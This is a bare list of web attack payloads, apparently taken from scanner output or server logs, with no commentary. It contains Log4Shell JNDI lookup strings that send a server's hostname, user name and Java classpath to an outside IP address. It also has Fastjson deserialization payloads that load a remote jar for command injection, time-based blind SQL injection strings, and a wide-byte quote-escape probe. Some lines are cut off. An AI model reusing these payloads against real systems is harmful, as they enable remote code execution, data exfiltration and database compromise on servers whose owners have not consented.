${jndi:rmi://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.4ec7a58beb25d35d06207f9aa...

[{"@type": "jar:http:..2672530850:80.cmd_inject.\u01f6\u06bc\u8c66\u0891\u079f.d99500d14a9950347cd13b9cc0ee8d87!.POC"...

aaaa'%bf%27

${jndi:ldap://hostname-${hostName}.username-${sys:user.name}.javapath-${sys:java.class.path}.d58d207d9c851b5d09c46955...

${jndi:ldap://183.47.120.213:1389/jdk18abdc91e7b5191553a21fbc8216b6cdd0-/-${hostName}}

${jndi:rmi://183.47.120.213:1099/bypass36ed5c4940008426f3e037db3c449958-/-${hostName}}

') AND (SELECT*FROM(SELECT(SLEEP(2)))lshs) limit 1#

{"@type": "jar:http:..2672530850:80.cmd_inject.\u01f6\u06bc\u8c66\u0891\u079f.1d62b51c0dc3e1d57a8eec2eb6cd2086!.POC",...

)) AND (SELECT*FROM(SELECT(SLEEP(4)))jyin) limit 1#

{"@type": "jar:http:..2672530850:80.cmd_inject.b251ddfb7e9e0ed5edb665e1efcf9c12!.POC","x": 1}